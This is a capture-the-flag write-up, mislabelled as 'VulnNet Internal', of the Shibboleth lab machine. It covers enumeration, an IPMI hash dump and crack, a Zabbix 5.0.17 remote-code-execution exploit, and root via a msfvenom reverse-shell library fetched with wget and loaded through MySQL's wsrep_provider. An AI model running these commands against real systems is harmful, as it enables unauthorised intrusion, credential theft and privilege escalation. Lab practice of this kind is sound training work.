CTF VulnNet Internal

/etc/hosts

10.10.11.124 shibboleth.htb

nmap

nmap -sV shibboleth.htb

PORT STATE SERVICE VERSION 
80/tcp open http Apache httpd 2.4.41

We only have an apache server.

gobuster

gobuster dir -t 100 -u http://shibboleth.htb/ -w ~/Documents/wordlist/directory-list-medium.txt


/assets               (Status: 301) [Size: 317] [--> http://shibboleth.htb/assets/]
/forms                (Status: 301) [Size: 316] [--> http://shibboleth.htb/forms/] 
/server-status        (Status: 403) [Size: 279]                             

http://shibboleth.htb/forms/

In the Readme.txt we have this:

Fully working PHP/AJAX contact form script is available in the pro version of the template.
You can buy it from: https://bootstrapmade.com/flexstart-bootstrap-startup-template/

In the contact.php we have this:

Unable to load the "PHP Email Form" Library!

Subdomain listing

wfuzz -c -f sub-fighter -w Documents/wordlist/subdomains-top1million-5000.txt -u http://shibboleth.htb/ -H "Host: FUZZ.shibboleth.htb" --hw 26

The –hw mean I will exclude every resultats with word 26.

We also have an hint in main page.

gobuster

gobuster dir -t 100 -u http://zabbix.shibboleth.htb -w ~/Documents/wordlist/directory-list-medium.txt -k

/modules              (Status: 301) [Size: 332] [--> http://zabbix.shibboleth.htb/modules/]
/assets               (Status: 301) [Size: 331] [--> http://zabbix.shibboleth.htb/assets/] 
/audio                (Status: 301) [Size: 330] [--> http://zabbix.shibboleth.htb/audio/]  
/local                (Status: 301) [Size: 330] [--> http://zabbix.shibboleth.htb/local/]  
/app                  (Status: 301) [Size: 328] [--> http://zabbix.shibboleth.htb/app/]    
/js                   (Status: 301) [Size: 327] [--> http://zabbix.shibboleth.htb/js/]     
/include              (Status: 301) [Size: 332] [--> http://zabbix.shibboleth.htb/include/]
/conf                 (Status: 301) [Size: 329] [--> http://zabbix.shibboleth.htb/conf/]   
/vendor               (Status: 301) [Size: 331] [--> http://zabbix.shibboleth.htb/vendor/] 
/fonts                (Status: 301) [Size: 330] [--> http://zabbix.shibboleth.htb/fonts/]  
/locale               (Status: 301) [Size: 331] [--> http://zabbix.shibboleth.htb/locale/] 
/server-status        (Status: 403) [Size: 286]

It’s forbiden everywhere.
I found nothing and all the new exploits of zabbix don’t work.
I have to continue the enumeration.

nmap UDP

sudo nmap -sU nmap -sU --min-rate 5000 shibboleth.htb

PORT      STATE  SERVICE
518/udp   closed ntalk
623/udp   open   asf-rmcp
16919/udp closed unknown
16972/udp closed unknown
30975/udp closed unknown
42431/udp closed unknown
44253/udp closed unknown

The port 623 is open.

Exploit IPMI (port 623)

msfconsole
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS 10.10.11.124
run
...
[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:5479a2ba820600003ad3a123b77e26a23ce881756019b75dec504d50007565022cf0fcdb1f86674ba123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:2d636e7b85ec1c5ab81526480df9ff2e614f4379

Crack the hash

I store the hash in the hash file.
I’m gonna use hashcat to crack it.

hashcat -h |grep IPMI

Output

7300 | IPMI2 RAKP HMAC-SHA1                                | Network Protocol

So the command gonna be this one.

hashcat -m 7300 -a 0 hash /home/peanutstick/Documents/wordlist/rockyou.txt

I have a password.

Zabbix

As we can see it’s Zabbix 5.0.17.
I’m gonna use this exploit.
https://packetstormsecurity.com/files/166256/Zabbix-5.0.17-Remote-Code-Execution.html

python3 exploit.py http://zabbix.shibboleth.htb Administrator Thepassword 10.10.14.147 4648

I’m in.

Privilege escalation

ls /home

Output

ipmi-svc

So we have to connect with this user and the password we found in the hash.

su ipmi-svc

Enum with shell

I have to upgrade the shell first.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Now let’s se if there is come creds in clear text.

grep --color=auto -rnw '/etc' -ie "Password" --color=always 2> /dev/null

Exploit mysql

Create the payload

You have to use an another port.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.147 LPORT=4649 -f elf-so -o exp.so
python2.7 -m SimpleHTTPServer 

Listen with netcat.

nc -nlvp 4649

Upload the payload

On the server

mkdir /tmp/exp
cd /tmp/exp
wget http://10.10.14.147:8000/exp.so

Execute the payload

mysql -u zabbix -p

with mysql.

SET GLOBAL wsrep_provider="/tmp/exp/exp.so"; 

I’m root.

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